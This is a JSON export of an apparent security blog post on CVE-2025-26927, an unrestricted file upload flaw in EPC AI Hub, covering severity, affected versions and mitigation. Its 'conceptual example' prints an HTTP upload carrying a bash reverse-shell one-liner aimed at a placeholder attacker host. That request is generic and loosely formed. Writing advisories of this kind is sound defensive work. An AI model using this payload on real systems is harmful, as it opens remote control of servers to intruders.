{"id":29340,"date":"2025-04-22T22:47:43","date_gmt":"2025-04-22T22:47:43","guid":{"rendered":""},"modified":"2025-09-11T20:15:59","modified_gmt":"2025-09-12T02:15:59","slug":"cve-2025-26927-epc-ai-hub-unrestricted-file-upload-vulnerability-leading-to-system-compromise","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-26927-epc-ai-hub-unrestricted-file-upload-vulnerability-leading-to-system-compromise\/","title":{"rendered":"<strong>CVE-2025-26927: EPC AI Hub Unrestricted File Upload Vulnerability Leading to System Compromise<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability has been identified in the EPC AI Hub, designated as CVE-2025-26927. This vulnerability, an unrestricted file upload of dangerous type, potentially allows a malicious attacker to upload a web shell to a web server, leading to system compromise or data leakage. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43245-critical-downgrade-issue-affecting-multiple-macos-versions\/\"  data-wpil-monitor-id=\"81813\">issue affects<\/a> AI Hub versions up to and including 1.3.3. Given the severity of this vulnerability, it is essential for affected system administrators to take immediate action to mitigate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33670\">potential system compromise and loss of sensitive data<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-26927<br \/>\nSeverity: Critical (CVSS 10.0)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34118\">Allows unauthorized<\/a> disclosure of information; Allows unauthorized modification; Allows disruption of service<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3082452379\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>EPC AI Hub | up to 1.3.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-45724-unauthenticated-file-upload-vulnerability-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33977\">EPC AI Hub&#8217;s<\/a> failure to adequately validate and restrict types of files that can be uploaded to the server. As a result, a malicious actor can upload a web shell-a script that can be used to control a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32834-exploiting-telecontrol-server-basic-via-sql-injection\/\"  data-wpil-monitor-id=\"38834\">server via<\/a> a web interface. Once the web shell is uploaded, the attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33857\">execute arbitrary<\/a> commands, modify existing files, or extract sensitive data, effectively compromising the system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1936181227\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual exploitation of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-5905-unauthorized-data-export-vulnerability-in-demomentsomtres-wordpress-export-posts-with-images-plugin\/\"  data-wpil-monitor-id=\"34655\">vulnerability might involve an HTTP POST<\/a> request to a vulnerable endpoint, carrying a malicious payload in the form of a web shell script. An example is provided below:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload_endpoint HTTP\/1.1\nHost: vulnerable-host.com\nContent-Type: application\/x-shellscript\n{\n&quot;file&quot;: &quot;webshell.sh&quot;,\n&quot;content&quot;: &quot;#!\/bin\/bash\\n\/bin\/bash -i &gt;&amp; \/dev\/tcp\/attacker-ip\/8080 0&gt;&amp;1&quot;\n}<\/code><\/pre>\n<p>In the above example, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-35996-cross-site-scripting-attack-in-kunbus-pictory\/\"  data-wpil-monitor-id=\"42854\">attacker attempts to upload a bash shell script<\/a>, which if successful, sets up a reverse shell back to the attacker&#8217;s machine. This allows the attacker to execute arbitrary commands on the server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0213-buffer-overflow-vulnerability-in-ta-for-linux-and-macos-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33877\">leading to full system<\/a> compromise.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users are advised to immediately apply the vendor patch to correct this vulnerability. In situations where patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These should be configured to block or alert on attempts to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13744-arbitrary-file-upload-vulnerability-in-booster-for-woocommerce-wordpress-plugin\/\"  data-wpil-monitor-id=\"34578\">upload dangerous file<\/a> types to the server. Users should also consider implementing robust <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25777-unauthorized-user-profile-access-in-codeastro-bus-ticket-booking-system\/\"  data-wpil-monitor-id=\"41372\">file<\/a> validation and restriction mechanisms to prevent unauthorized or dangerous file uploads.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability has been identified in the EPC AI Hub, designated as CVE-2025-26927. This vulnerability, an unrestricted file upload of dangerous type, potentially allows a malicious attacker to upload a web shell to a web server, leading to system compromise or data leakage. The issue affects AI Hub versions up to and including [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-29340","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=29340"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29340\/revisions"}],"predecessor-version":[{"id":74274,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29340\/revisions\/74274"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=29340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=29340"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=29340"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=29340"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=29340"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=29340"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=29340"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=29340"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=29340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}